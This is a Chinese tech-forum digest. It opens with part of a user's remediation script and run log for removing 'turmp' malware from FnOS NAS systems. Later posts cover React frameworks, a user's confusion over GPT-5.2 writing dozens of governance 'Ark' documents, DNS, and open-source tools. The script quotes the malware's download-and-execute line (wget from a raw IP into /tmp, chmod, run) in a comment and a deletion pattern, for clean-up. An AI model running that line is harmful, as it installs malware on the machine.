        echo "❌ 在 system_startup.sh 中发现疑似恶意代码"

        chattr -i "$FILE" 2>/dev/null
        cp "$FILE" "$BACKUP_DIR/system_startup.sh.bak"

        # 精准删除已知恶意注入行：
        # wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
        sed -i '\|wget http://151\.240\.13\.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp|d' "$FILE"

        # 兼容未来 turmp 变种（仍然保持行为链特征）
        sed -i '/wget .*turmp .*chmod .*turmp .*\/tmp\/turmp/d' "$FILE"

        echo "✅ 恶意启动行已清除（原文件已备份）"
    else
        echo "✅ system_startup.sh 未发现异常特征"
    fi
}

# ---------------- 主流程 ----------------

need_root
log_init
banner

echo "请选择操作模式："
echo "  1) 仅检测（推荐先跑，无风险）"
echo "  2) 自动修复（执行阻断、清理、修复）"
echo "  3) 仅封禁网络（防火墙 + Hosts ）"
echo "  4) 退出"
echo

read -rp "请输入选项 [1-4]: " MODE

case "$MODE" in
1)
    path_traversal_check
    infection_scan
    ;;
2)
    echo "----------------------------------------------------"
    echo "⚠️  注意：修复过程中会停止恶意进程并移动文件。"
    confirm "建议您已备份重要数据。是否开始执行？" || exit 0
    echo "----------------------------------------------------"

    block_network           # 先断网，防止下载新样本
    kill_process            # 杀进程，防止锁文件
    clean_systemd_services  # 清理 systemd 服务（含哈希服务名）
    remove_kernel_module    # 卸载内核模块
    fix_persistence_common  # 修复 rc.local / ld.so.preload / cron
    fix_fnos_system_startup # 修复 FnOS 特有脚本
    scan_and_quarantine     # 最后扫描残留文件
    ;;
3)
    block_network
    ;;
*)
    echo "👋 已退出"
    exit 0
esac

echo
echo "===================================================="
echo "✅ 操作已结束"
echo "📁 隔离文件目录: $BACKUP_DIR"
echo "📄 详细日志记录: $LOG_FILE"
echo "💡 安全建议："
echo "   1. 立即修改 SSH 密码和 FnOS 后台密码"
echo "   2. 检查 /root/.ssh/authorized_keys 是否有陌生公钥"
echo "   3. 建议重启系统以确保所有内存加载项已清除"
echo "   4. 如有疑虑，可将日志与隔离文件交给安全团队复核"
echo "===================================================="

咋用不说了吧? ssh 上去 root 权限执行

我都杀了 6 次了，执行结果

====================================================
   FnOS 安全应急处置工具 v2.1 (精准 IOC 版)
====================================================
⚠️  覆盖威胁: gots / trim / snd_pcap / bkd / killaurasleep
📌  操作逻辑: 隔离文件 -> 阻断网络 -> 清理服务 -> 修复启动项
====================================================
请选择操作模式：
  1) 仅检测（推荐先跑，无风险）
  2) 自动修复（执行阻断、清理、修复）
  3) 仅封禁网络（防火墙 + Hosts ）
  4) 退出

请输入选项 [1-4]: 2
----------------------------------------------------
⚠️  注意：修复过程中会停止恶意进程并移动文件。
⚠️  建议您已备份重要数据。是否开始执行？ (y/N): y
----------------------------------------------------
🛑 [3] 阻断恶意通信...
   - [防火墙] 已封禁恶意 IP (nftables)
   - [Hosts] 域名已劫持: xd.killaurasleep.top
✅ 网络阻断策略已应用
🔪 [4] 终止恶意进程...
✅ 进程清理完成
🧹 [5] 清理恶意 Systemd 服务...
✅ Systemd 服务清理完成
🧠 [7] 清理恶意内核模块...
ℹ️ 未发现 snd_pcap 模块
🔧 [8] 修复通用持久化配置...
✅ 持久化配置检查完成
🔧 [9] 修复 FnOS 特定启动项...
ℹ️ 未找到 /fnos/usr/trim/bin/system_startup.sh ，跳过
🔎 [6] 深度扫描并隔离文件...
   正在扫描目录: /usr/bin
   正在扫描目录: /usr/sbin
   正在扫描目录: /usr/trim
   正在扫描目录: /tmp
   正在扫描目录: /var/tmp
   正在扫描目录: /root
🚨 发现威胁文件: /root/fnos_quarantine_2026-01-31_153410/system_startup.sh_1769843919_1769844857.infected  （原因: content-hit:STRICT ）
   -> 已隔离至备份目录
🚨 发现威胁文件: /root/fnos_quarantine_2026-01-31_153410/accountsrv_1769844855.infected_1769844858.infected  （原因: content-hit:STRICT ）
   -> 已隔离至备份目录
✅ 文件扫描完成

====================================================
✅ 操作已结束
📁 隔离文件目录: /root/fnos_quarantine_2026-01-31_160749
📄 详细日志记录: /var/log/fnos_security_fix.log
💡 安全建议：
   1. 立即修改 SSH 密码和 FnOS 后台密码
   2. 检查 /root/.ssh/authorized_keys 是否有陌生公钥
   3. 建议重启系统以确保所有内存加载项已清除
   4. 如有疑虑，可将日志与隔离文件交给安全团队复核
==================================================== 

_{作者: asuraa | 发布时间: 2026-01-31 08:14}

---

16. 除了 next.js，在 2026 年，还有哪些 React 全栈框架推荐？

next.js 也不是说不好，但是总感觉有些臃肿
另外 ‘use client’、’use server’ 总感觉有点不标准

_{作者: yoa1q7y | 发布时间: 2026-01-31 05:07}

---

17. 第一次使用 GPT-5.2 开发项目，为什么我和我印象中的开发完全不一致？你们的 AI 也这样吗？

之前用 Antigravity 内置的 Gemini 开发了一个量化交易系统，怎么说呢，缝缝补补不太好用。
然后换成 Claude 网页版重构了这个系统，代码质量明显高太多了。正在考虑要不要开会员的时候，收到 Trae 的邮件，一周年庆在 2 月 14 日前 GPT-5.2 免费用。
然后就使用 Trae 的 SOLO 功能开始尝试重构我这个系统的“从交易所获取 1m 数据并入库”。就这么简单的一个功能。
然后我看不懂的事就来了。
首先我通过自然语言把需求告诉 GPT ，Gemini 或者 Claude 一般就直接产出代码了（最多生成 10 个文件到头了）。GPT 说要先写个 Ark ，那就写呗，他通过一轮轮对话（ GPT 自裁决，我不干预）写了一堆 Ark ，差不多有 40 个 Ark 和 2 个 AI_CONSTITUTION ，总共花了 4 个小时。我中途问了还几次什么时候写完，他都说再过几个版本就写完了，然后就一直写一直写，成迷写作，一度我以为它准备写小说了。
他写的 Ark 内容字我都认识，凑在一起就看不懂了。虽然我知道他大概在干什么。
然后就是生成的代码，一行注释都没有，文档倒是很全。感觉他就没打算把他的代码给人看，几乎没有自己改的可能性。
难道这就是现在的面向 AI 开发？
想问问你们的 GPT 也这样吗？

附上其中 2 个 Ark：
-————————

ARK_V26 （ Ark-3 ｜ V26 CAF 语义承载位阶最终冻结方舟）

1. Ark Meta （ version, parent, purpose ）

- ark_version: ark-3
- frozen_at_version: V26
- parent_arks: [ARK_V23, ARK_V24, ARK_V25]
- purpose: 冻结 CAF 在系统中的“语义承载位阶”，并将 CAF 的唯一主语义位点固定为 Positioned Explanatory Artifact （具立场的解释性产物）

-–

2. V26 问题域声明

V26 只解决一个问题：在系统语义空间中，把 CAF 放到一个不可混同、不可升级、不可反向污染其他层的“承载位阶”上。

V26 不引入任何新能力，不讨论任何实现、工程或接口；它仅冻结语义位置与边界方向。

-–

3. CAF 的主语义位点定义（唯一主语义位点）

CAF 的唯一主语义位点被永久固定为：

Positioned Explanatory Artifact （具立场的解释性产物）

定义（冻结）：
- CAF 是一种解释性产物：用于表达“某一主体以其立场对一段现实后果叙事做出解释/归因/承担声明”的文本性陈述。
- CAF 是具立场的：它必须被理解为“带有主体立场与解释框架的叙事表达”，而非中立事实本体。
- CAF 的语义核心是“解释位置”而非“事实位置”：CAF 表达的是“某主体如何解释并承担不可逆后果”，而不是“系统证明了不可逆后果的发生/正确性/合规性”。

因此（权威结论）：
- CAF 在语义位阶上属于 Artifact ，而不属于 Truth 。
- CAF 不能被读取为 Signal ，也不能被读取为 Execution 或 Result 。

-–

4. CAF 的派生语义属性说明

以下属性从“Positioned Explanatory Artifact”这一主语义位点严格派生，永久冻结：

4.1 非证明性（ Non-proving ）

- CAF 不提供可计算、可验证的真实性证明链条；它不构成“事实成立”的证据。
- CAF 不得被用来替代任何事实证据来源，也不得被用来补足或伪造事实证据。

4.2 非门控性（ Non-gating ）

- CAF 不具备放行、熔断、启停、降级、切换、风控等任何门控含义。
- CAF 不能作为任何系统结论的触发条件或解释依据（包括“因为有 CAF 所以可以/必须/应当”）。

4.3 非结果性（ Non-result-bearing ）

- CAF 不承载成功/失败、盈利/亏损、正确/错误、合规/违规、可用/不可用等结果语义。
- CAF 也不承载“系统责任已判定”“系统后果已归属”的结果性陈述地位。

4.4 非可迁移真值（ Non-transferable truthiness ）

- CAF 的“存在”只能被理解为“存在一份具立场的解释性陈述”，其可迁移真值止步于“该陈述被表达/被记录”。
- CAF 不得被外推为“现实后果已被系统确认”“事实链路已被证明”“行为已被系统执行”。

4.5 叙事可审计性（ Narrative-auditable, not operational ）

- CAF 可以被人类用于审计叙事：理解主体立场、解释框架与承担声明的表述方式。
- CAF 不得进入运行态语义回路：不得成为任何运行/控制/自动化闭环的一部分。

-–

5. Hard Denylist

以下任何路径、解释或等价替代均永久禁止（只要出现即视为语义违规）：

5.1 禁止把 CAF 当成 Truth / Proof

- CAF → Truth：禁止用 CAF 证明 DB 事实存在、数据完整性、连续性、可用性、可交易性。
- CAF → Truth Snapshot：禁止以 CAF 替代或伪造只读可复现查询证据。
- CAF → 证据补全：禁止把 CAF 当作“缺失证据的补丁”来闭合事实链条。

5.2 禁止把 CAF 当成 Signal / Strategy

- CAF → Signal：禁止把 CAF 解释为可计算信号、可训练标签、可用特征、可执行建议。
- CAF → Strategy / Decision：禁止把 CAF 解释为策略结论、决策依据或“应当执行”的理由。

5.3 禁止把 CAF 当成 Execution / Result / Responsibility Verdict

- CAF → Execution：禁止把 CAF 解释为系统已执行/正在执行/将执行的任何等价表述。
- CAF → Result：禁止把 CAF 解释为结果已确认、成功失败已判定或收益损失已结算。
- CAF → 责任裁决：禁止把 CAF 解释为系统责任已确定、后果归属已裁决或风险合规已证明。

5.4 禁止反向推断与语义污染

- Execution / Status / Gap / Artifact / Log / 外部消息 → CAF：禁止由任何流程态、运行态或外部证据推断为 CAF 。
- Truth / Truth Snapshot / DB rows → CAF：禁止由事实存在推出“承担声明”或“解释立场”。
- CAF → 改写边界：禁止以 CAF 的存在弱化或绕过 V23/V24/V25 的冻结红线。

-–

6. 与 ARK_V23 / V24 / V25 的边界关系声明

6.1 与 ARK_V23 （ Research ）的边界

- CAF 不属于 Research 的 Truth→Research 推导链路；不得作为 Research 的输入真值、标签真值或结论依据。
- CAF 不等价于 V23 的 Analysis Artifact：二者同属非 Truth 的产物，但 CAF 的主语义位点是“具立场的解释”，而 Analysis Artifact 的主语义位点是“离线分析输出”；两者不得互相替代、不得互相升级为系统输入。

6.2 与 ARK_V24 （ Execution ）的边界

- CAF 不进入 Execution：不得作为执行前提、确认闸门、审计记录的结果解释、或任何放行/熔断/启停依据。
- CAF 不承担执行后果解释责任：Execution 的 dry-run / audit-only / no External I/O 边界不被 CAF 改写。

6.3 与 ARK_V25 （ CAF ）的边界

- V25 冻结了 CAF 的“不可混同与不可反向影响”红线； V26 在此基础上冻结 CAF 的“语义承载位阶”：CAF 的唯一主语义位点是 Positioned Explanatory Artifact 。
- 因此，任何将 CAF 解释为中立事实本体、系统证明、系统结论或运行态门控的做法，均与 V26 冻结相冲突，应以 V26 为准进行纠偏：CAF 只能被理解为“具立场的解释性产物”，其可断言的仅是“存在该解释性陈述”，而非“被陈述对象已被系统证明成立”。

-———————————–

ARK_GOVERNANCE_CONSOLIDATED.md （治理汇编 / Governance Consolidation ）

本文件是治理汇编（ Governance Consolidation ）。

本文件不是 Ark ，不具裁决权。

本文件不替代任何 ARK_Vxx 。

本文件的唯一作用是：降低认知负荷、防止误用、指引 AI 与人类正确加载 Ark 。

-–

1️⃣ Ark 分层模型（四层）

本节仅给出分层、职责与索引，不引入任何制度裁决。

Layer 0 — 索引与路由（ Index & Route ）

职责：
- 冻结加载顺序、优先级与冲突裁决规则。
- 冻结系统演进路线与技术债白名单口径。

组成（当前生效）：
- arks/[ARK_INDEX.md](http://ARK_INDEX)
- arks/[ARK_ROUTE.md](http://ARK_ROUTE)

Layer 1 — 骨干宪法（ Constitutional Core ）

职责：
- 冻结 Truth / Research / Execution / CAF 等核心语义与边界。
- 冻结执行边界、升级禁令、证据口径与受控写能力的制度约束。

组成（当前生效）：
- arks/[ARK_V23.md](http://ARK_V23)（ Truth / 数据事实）
- arks/[ARK_V24.md](http://ARK_V24)（ Execution / 执行边界）
- arks/[ARK_V25.md](http://ARK_V25)（ CAF / Consequence Assumption Fact ）
- arks/[ARK_V60.md](http://ARK_V60)（受控写能力 / Ops-only / Human-authorized ）

明确声明（只读说明）：
- 95% 以上工程裁决只能基于本层进行引用与对齐；当本层无明确条款时，不得以“合理推断”生成等价裁决。

Layer 2 — 能力裁决与制度演进（ Historical Rulings ）

职责：
- 保存历史裁决与判例来源，用于回溯“是否越权 / 是否曾被禁止 / 代际状态是否已登记封板”。

组成（历史判例来源，默认不加载）：
- arks/[ARK_V26.md](http://ARK_V26) ～ arks/[ARK_V58.md](http://ARK_V58)

明确声明（只读说明）：
- 这些 Ark 不可删除。
- 这些 Ark 默认不加载。
- 这些 Ark 仅在“是否越权 / 是否曾被禁止 / 是否已封板”之争议场景中回溯引用；回溯不构成新增裁决。

历史 Ark 清单（仅标题与开篇定位摘录，不做总结、不做归纳裁决）：
- arks/[ARK_V26.md](http://ARK_V26)：ARK_V26 （ Ark-3 ｜ V26 CAF 语义承载位阶最终冻结方舟）
- arks/[ARK_V27.md](http://ARK_V27)：ARK_V27 （ Ark-4 ｜ V27 Audit Explanation Topology 最终冻结方舟）
- arks/[ARK_V29.md](http://ARK_V29)：ARK_V29 （ Ark-5 ｜ V29 仓库级 CAF 防误用与制度化隔离方舟）
- arks/[ARK_V30.md](http://ARK_V30)：ARK_V30 （ Ark-6 ｜ V30 CAF 认知隔离与文档制度冻结方舟）
- arks/[ARK_V31.md](http://ARK_V31)：ARK_V31 （ Ark-7 ｜ V31 主线工程恢复演进分区冻结方舟）
- arks/[ARK_V32.md](http://ARK_V32)：ARK_V32 （ Ark-8 ｜ V32 v31 首类合法工程能力类型冻结方舟）
- arks/[ARK_V35.md](http://ARK_V35)：ARK V35 · ROTI Capability Lock （永久能力封板）
- arks/[ARK_V36.md](http://ARK_V36)：ARK V36 · Engineering Capability Taxonomy （工程能力分级制度）
- arks/[ARK_V37.md](http://ARK_V37)：ARK V37 · Class II Capability Admissibility （第二类工程能力可存在性裁决）
- arks/[ARK_V38.md](http://ARK_V38)：ARK V38 · First Class II Instance Adjudication （第二类能力首实例裁决）
- arks/[ARK_V40.md](http://ARK_V40)：ARK V40 · Engineering Evolution Phase Adjudication （工程演进阶段声明与硬约束）
- arks/[ARK_V42.md](http://ARK_V42)：裁决对象：v31/roti 、v31/class2_mvi ；裁决结论：均已达到工程完成态
- arks/[ARK_V43.md](http://ARK_V43)：ARK_V43 · V22 Truth 能力存续裁决
- arks/[ARK_V44.md](http://ARK_V44)：ARK_V44 · V31 工程级封板裁决（人类工具能力区）
- arks/[ARK_V45.md](http://ARK_V45)：ARK_V45 · V22 Truth 事实链路工程审计与封板裁决
- arks/[ARK_V46.md](http://ARK_V46)：ARK_V46 · v32 工程代际准入裁决
- arks/[ARK_V47.md](http://ARK_V47)：ARK_V47 · v32 第一类系统能力裁决（ Class III ）
- arks/[ARK_V48.md](http://ARK_V48)：ARK_V48 · Class III MVI 工程边界冻结
- arks/[ARK_V51.md](http://ARK_V51)：ARK_V51 · Class III （ v32 ）完成态封板裁决
- arks/[ARK_V52.md](http://ARK_V52)：ARK_V52 · V22 性能风险裁决性分级（ Truth 成本 vs 原则可处理）
- arks/[ARK_V53.md](http://ARK_V53)：ARK_V53 · Class III （ MVI ）最终使用责任边界裁决（ ARK_V51 完成态继承）
- arks/[ARK_V54.md](http://ARK_V54)：ARK_V54 · Class III （ MVI ）交互许可最终裁决（ v32 最终封口）
- arks/[ARK_V55.md](http://ARK_V55)：ARK_V55 · v33 代际启动裁决（唯一新代际许可）
- arks/[ARK_V56.md](http://ARK_V56)：ARK_V56 · v33 工程存在形态裁决（非能力，不可执行）
- arks/[ARK_V57.md](http://ARK_V57)：ARK_V57 · v33 “工程锚点目录”裁决（唯一物理标识，不构成任何能力）
- arks/[ARK_V58.md](http://ARK_V58)：ARK_V58 · 代际状态总账（ System Ledger ｜ v22–v33 最终登记）

缺失文件事实登记（仅事实，不作推断）：
- 在当前仓库 arks/ 路径下未发现：arks/[ARK_V28.md](http://ARK_V28)、arks/[ARK_V33.md](http://ARK_V33)、arks/[ARK_V34.md](http://ARK_V34)、arks/[ARK_V39.md](http://ARK_V39)、arks/[ARK_V41.md](http://ARK_V41)、arks/[ARK_V49.md](http://ARK_V49)、arks/[ARK_V50.md](http://ARK_V50)。

Layer 3 — 启动与提示协议（ Bootstrap & Prompting Protocol ）

职责：
- 冻结 Ark 的启动加载方式与对 AI 的持续行为约束口径。

组成（当前生效）：
- arks/[ARK_BOOTSTRAP_PROMPT.md](http://ARK_BOOTSTRAP_PROMPT)

-–

2️⃣ MANDATORY_READS （强制读取清单）

MANDATORY_READS_FOR_ENGINEERING = {
ARK_INDEX,
ARK_ROUTE,
ARK_V23,
ARK_V24,
ARK_V25,
ARK_V60
}

说明（只读）：
- 其他 Ark 不是默认必读。
- 其他 Ark 不等于废弃；其地位为历史裁决与判例来源，仅在回溯场景中加载与引用。

-–

3️⃣ AI / 工程代理使用规则（只读约束）

本节是使用说明，不是裁决文本；任何条目均不得被解释为新增制度裁决或能力解封。

3.1 默认加载规则

- 加载顺序必须以 arks/[ARK_INDEX.md](http://ARK_INDEX) 为唯一权威；不得跳过、不得重排。
- 在未完成 Layer 0 与 Layer 1 的强制读取前，任何工程结论、设计结论与实现结论均不成立。

3.2 仅引用骨干宪法的场景

以下场景必须只引用 Layer 0 + Layer 1 （并遵循其冲突裁决规则），不得以历史 Ark 的片段替代骨干宪法：
- Truth 的证据口径、Truth Snapshot 的定义、Research 的断路边界。
- Execution 的边界、禁止升级路径、禁止 External I/O 的约束口径。
- CAF 的语义边界、不可反向污染规则。
- 受控写能力（ repair/backfill 、受控配置写）的授权口径、输入契约、Guard 边界与成功证明口径。

3.3 允许回溯历史 Ark 的场景

仅在以下场景允许加载 Layer 2 ，并且回溯必须以“引用具体 Ark 文本”为唯一方式：
- 是否越权：某工程行为是否落入历史 Ark 明确禁止的路径。
- 是否曾被禁止或已封板：某目录、代际、能力类型是否在历史中被登记为完成态/封板态/禁止存在。
- 代际状态核对：涉及 v22/v31/v32/v33 等代际状态时，必须以 arks/[ARK_V58.md](http://ARK_V58) 的登记为核对入口。

3.4 严禁行为（适用于 AI 与人类）

- 严禁自行总结并替代 Ark：不得以“整理”“提炼”“等价表述”方式生成可替代 Ark 的新文本并据此作裁决。
- 严禁因上下文不足而创造隐含裁决：不得以“常识”“最佳实践”“合理推断”补出 Ark 未写明的制度结论。
- 严禁把引用当作授权：任何引用不构成授权、放行、可执行或已发生的证明；授权与边界必须来自对应 Ark 的明确条款。

-–

4️⃣ 禁止性声明（治理边界）

任何形式的“Ark 优化”“Ark 合并”“Ark 精简”只能通过新增 Ark 或新增治理汇编文件完成，不得通过修改既有 Ark 实现。

本文件不对任何 ARK_Vxx 进行合并、重写、删减或改写语义；任何冲突裁决与历史顺序仍以 arks/[ARK_INDEX.md](http://ARK_INDEX) 为准。

-–

5️⃣ 系统定位声明（结语）

Ark 是宪法。

data_engine 是工程实现。

治理优先级高于工程优雅性。

本体系目标是长期存活而非短期效率。

_{作者: lkk | 发布时间: 2026-01-31 14:27}

---

18. 突然发现 114.114.114.114 ping 不通了?

也不知道啥时候的事

我路由器还设置这个为第一 dns 的

难怪最近网页打开好像慢一点, 一直没注意

_{作者: iorilu | 发布时间: 2026-01-31 00:55}

---

19. 我真的要放弃 Vue，改用 React 了

因为 AI 已经彻底改变了我写代码、做产品的方式。

举个最近非常真实的例子： 我用 AI 从收集资料、买域名、写代码，到上线一个可访问的网站，全程不到 1 个小时 。 https://openclawai.net/

这个速度，说实话，用 Vue 是几乎做不到的，而且我更加熟悉 vue 。

不是 Vue 不好，而是：各个平台默认输出的就是 react ，如果迁移到 vue 需要很多额外的 token

而用 AI 写 React：

• JSX + 函数组件，AI 命中率非常高
• 一次生成可运行的概率明显更大
• 重构、拆组件、补逻辑几乎是“指哪打哪”

更关键的一点是： 我对 React 其实并不算熟。

但这件事已经不再重要了。

_{作者: jsiwa | 发布时间: 2026-01-30 11:40}

---

20. 开源 macOS DMG 构建工具

DMGEditor

https://github.com/purpleaxis-fb/DMGEditor

平时自己也需要 dmg 打包，单人开发，一般都是用 shell 脚本解决。感觉还是麻烦，特别是多版本的时候，每次都要改脚本。然后就有了这个…

需要的自取，不需要的略过

暂时没有 release ，后面会补上

因为是 SwiftUI 所以低版本支持的不好

最低开发兼容版本为 macOS15.7.3 ，测过的版本就是 15.7.3 和 26.2

不求 star ，欢迎提 issue

有时间就持续更新，没时间看是否有人有需求

_{作者: freeblow | 发布时间: 2026-01-31 11:20}

---

21. aistudio 免费的 gemini3 pro 配额是不是调整了

网页版之前怎么用都没有提示过上限，这两天随便用一会儿就提示超过配额，换个账号也是一样

_{作者: gibber | 发布时间: 2026-01-31 01:44}

---

22. 我做了一个本地 AI 搜索工具，今天正式开源了！

前言

花了一段时间，我终于把小遥搜索 XiaoyaoSearch 做出来了。 这是一个支持语音、文本、图片多模态输入的本地 AI 搜索桌面应用。最特别的是，它100%通过 Vibe Coding （ AI 辅助编程）实现 ，从零开始，所有源码、设计文档、开发经验，今天全部开源。

为什么要做这个工具？

作为知识工作者，我经常遇到这些痛点： ● 文件太多找不到：电脑里存了成千上万个文档、图片、音视频，想找个特定内容翻半天 ● 搜索不够智能：系统自带的搜索只能匹配文件名，搜不到文件内容 ● 隐私安全担忧：很多搜索工具要上传数据到云端，不太放心 ● AI 工具太复杂：想用 AI 提升效率，但不会配置，门槛太高 所以我就想：能不能做一个本地运行的、支持多种输入方式的 AI 搜索工具？

小遥搜索是什么？

简单来说，它是一个本地 AI 搜索桌面应用，核心特点：

🎤 多模态输入 ● 语音搜索：点一下录音，说出你要找的内容，30 秒内语音自动转文字搜索 ● 文本搜索：输入关键词，AI 理解语义，精准匹配文件内容 ● 图片搜索：上传一张图片，AI 理解图像内容，帮你搜索相关文件

🔍 深度检索 ● 文档：TXT 、Markdown 、Word 、Excel 、PPT 、PDF 全文检索 ● 音视频：MP4 、AVI 、MP3 、WAV 内容索引和搜索（支持 10 分钟内音视频字幕提取） ● 文件名：传统的文件名搜索也不缺席

🧠 AI 技术 集成了多个先进 AI 模型： ● BGE-M3：文本嵌入，理解语义 ● FasterWhisper：语音识别，语音转文字 ● CN-CLIP：图像理解，以图搜图 ● Ollama：本地大语言模型

🔒 隐私安全 ● 完全本地：所有数据处理都在本地，不上传云端 ● 隐私模式：可选不记录搜索历史 ● 自主可控：数据完全由你自己掌控

核心界面一览

搜索主界面

文本搜索

语音搜索

图片搜索

技术架构

前端：Electron + Vue 3 + TypeScript 后端：Python 3.10 + FastAPI AI 引擎：BGE-M3 + FasterWhisper + CN-CLIP + Ollama 搜索：Faiss （向量搜索）+ Whoosh （全文搜索） 数据库：SQLite 系统架构图

Vibe Coding 实践案例

这是我特别想分享的部分。 这个项目从零开始，完全通过 Vibe Coding 实现，包括：

● ✅ 完整源代码（前端 + 后端 + 所有功能模块） ● ✅ 设计文档（ PRD 、技术方案、数据库设计、API 文档） ● ✅ 开发流程（任务分解、进度跟踪、测试验证） ● ✅ 部署配置（环境搭建、依赖管理、打包发布） 开源的价值：对于想要学习 AI 辅助开发、本地 AI 应用、Electron 桌面应用的开发者，这是一个完整的参考实现。

产品路线图

当前版本（ v1.1.1 ）✅ ● 多模态 AI 搜索（语音、文本、图片） ● 本地文件深度检索 ● AI 模型灵活配置 ● 隐私安全保护

未来规划

🚀 微内核架构演进 插件化系统，支持自定义扩展

🌐 多数据源扩展 ● 文档协作平台（语雀、飞书、Notion ） ● 项目管理平台（ Jira 、禅道、GitHub ） ● 实时同步和智能缓存

🎬 音视频搜索增强 ● 视频画面内容理解和搜索 ● 长视频处理（集成水母平台） ● 音频声纹识别和情感分析

🧠 RAG 系统升级 ● 自适应分块算法 ● 知识图谱构建 ● 检索结果智能增强

💬 智能聊天助手 ● 多轮对话和上下文记忆 ● 基于本地知识库的问答

🔌 MCP 能力集成 连接 Claude 生态，扩展 AI 能力 详细路线图：ROADMAP.md

适合谁使用？

知识工作者 搜索本地文档、笔记、研究报告，快速定位关键信息 内容创作者 搜索素材和灵感，整理音视频内容，管理创作资源 技术开发者 搜索代码库和技术文档，整理学习资料，管理项目文件 研究人员 搜索论文和研究资料，整理文献笔记，管理研究数据

邀请你参与

为什么需要你？ 一个人的力量有限，开源社区的力量是无限的！ 优先贡献方向

1. 插件系统开发（高优先级） ○ 设计插件接口规范 ○ 实现插件加载机制
2. 多数据源连接器（高优先级） ○ 语雀、飞书、Notion API 集成
3. UI/UX 优化（中优先级） ○ 搜索结果展示优化 ○ 暗色模式支持
4. 性能优化（中优先级） ○ 大文件处理优化 ○ 索引构建速度提升
5. 测试覆盖（中优先级） ○ 单元测试补充 ○ 集成测试完善

项目地址

GitHub：https://github.com/dtsola/xiaoyaosearch

欢迎： ● ⭐️ Star 本项目，关注最新进展 ● 🍴 Fork 本项目，开始你的贡献 ● 👀 Watch 本项目，及时获取更新 ● 🐛 提 Issue ，报告问题和建议功能 ● 💡 参与讨论，分享你的想法

关于我

dtsola - IT 解决方案架构师 | 一人公司实践者

● 网站：https://www.dtsola.com

● B 站：https://space.bilibili.com/736015

开源协议

本项目采用小遥搜索软件授权协议：

● ✅ 免费使用（非商业用途） ● ✅ 可以学习和研究代码 ● ✅ 可以修改后二次分发（需保留版权声明和协议） ● ✅ 可以集成到其他非商业项目 ● ❌ 商业使用需授权

这是一个类似 CC-BY-NC-SA 的开源协议，鼓励学习、分享和贡献！ 详细协议：LICENSE

结语

小遥搜索是我对本地 AI 搜索工具的一次探索和实践，也是 Vibe Coding 的完整案例展示。 我相信，开源社区的力量会让这个项目变得更好。 无论你是： ● 🔨 想要贡献代码的开发者 ● 💡 想要提供建议的产品经理 ● 📖 想要学习 AI 应用的学生 ● 🚀 想要参与创业的伙伴

都欢迎加入我们，一起打造更好的本地 AI 搜索工具！ 让我们一起，用 AI 技术改变知识管理方式！ 🚀

_{作者: dtsola | 发布时间: 2026-01-31 03:52}

---

23. [免费使用] run skill ai, completely free run the best Skill from 30,000+

做出来给大家免费使用，欢迎评价

https://www.runskill.ai/

_{作者: bfc | 发布时间: 2026-01-31 09:34}

---

24. Idea 是不是要破产了？

今天啥情况， 下午开始 idea 隔一会就死， 2025.2.4 2025.3.2 都是这情况， 切出去以后 其他软件又都是正常的

_{作者: zhoudaniu | 发布时间: 2026-01-30 10:16}

---

25. 甲骨文 MFA 找客服重置，银行卡早已注销，但客服说卡仍然有效

21 年 8 月注册的甲骨文，用的中行长城全币通金卡，当时卡面有效期是到 23 年 11 月（找中行客服和网点来回拉扯了几次终于问到了），21 年底我就注销了该卡，找客服重置 MFA ，结果被告知，该卡片在甲骨文的系统中仍然是有效状态，原话是

The card is still valid in our systems once it expires we can ignore it

然后客服稍微透漏下有效期不是今年，这种情况我该怎么知道有效期，有没有大佬们遇到过类似的情况

_{作者: yxnwh | 发布时间: 2026-01-30 13:24}

---

26. 一加 15 bl 后刷 OxygenOS 后，能回锁吗

听说回锁会变砖，但不回锁银行 app 又会有各种问题。 计划当主力机用，也不想去折腾 Magisk 这些

_{作者: deep89381 | 发布时间: 2026-01-30 14:35}

---

27. 公司后端的历史代码

每个 company 可对应多个 shop 。 因为每个 company 可存在一个特殊店铺，早期历史代码设计的 shop_id=99 （应该是觉得不会有人会开通超过 99 家店吧），并且不记录在表中。 现在有一个客户的店铺超过了 99 家，导致代码中大量判断 shop_id=99 的逻辑执行异常。

不止后端代码，而且客户端代码中也存在这样的逻辑判断。

_{作者: shitcode | 发布时间: 2026-01-30 06:48}

---

28. 求问 ai 小模型训练的云服务器 租用 选项

本来有四台 4090 * 8 的服务器可用，最近 down 了

也想探索一下云服务的可能

Lambda 考虑过用，以前还试过腾讯云，感觉体验屎烂（忘了具体的了

请问各位高手一般租哪家的比较中规中矩？

我差不多会同时用 16-32 张 4090 级别显卡，更慢不太接受，不需要 HBM

_{作者: pathetique | 发布时间: 2026-01-30 15:23}

---

29. 开源首月 3500 Star 🎉 ，写一篇文章总结开发 ChatLab 的前前后后

首先感谢各位 V 友，一个月前开源的时候，只是在 V 站和 L 站发了篇贴子，没想到一下子起来了😄

开发 ChatLab 的前后还是发生了很多事情的，在开源来到一个月的时候，它的 Star 来到了 3500 （写文章花了几天，现在又快 4000 了），正好很久没写文章了，于是想写一篇笔记记录一下，也欢迎 V 友们体验~

顺便介绍一下它：ChatLab 是一个本地化的聊天记录分析工具，它的核心功能是专注于本地化的聊天记录分析，通过 SQL 、AI Agent 、NLP 等能力，实现了一些比较有意思的聊天记录分析功能。

博文地址：开源首月 3500 Star ，聊聊 ChatLab 的过去、现在和未来

Github： https://github.com/hellodigua/chatlab

在官网可以预览到一些分析的结果：chatlab.fun

欢迎提出反馈意见

_{作者: hellodigua | 发布时间: 2026-01-30 02:11}

---

30. 「单日 800 Star」经过 8 个月 Claude Code 高强度实战，我们决定开源内部的最佳实践

前天我的 CTO 在 l 站发布了一篇技术贴，没想到竟然小爆了一下。我们当时正在准备开源，原本规划几周后再发,但这次的反响让我们意识到大家对 AI coding 的需求远超想象，于是决定提前开源。

前天下午，我们正式发布了 Trellis ，在纯自然流的情况下首日收获了 100+ star ，次日收获了 800+ star ，收到了很多有价值的反馈和建议。我们正在开发对 Opencode 和 Windows 的支持，预计今天能完成，其余的大部分问题也我们都会在接下来的几天内解决。

在此，我准备开源使用 CC 8 个月以来我们的全部心路历程，以及为什么我们选择构建 Trellis ，希望能帮助到大家。

我们踩过的坑

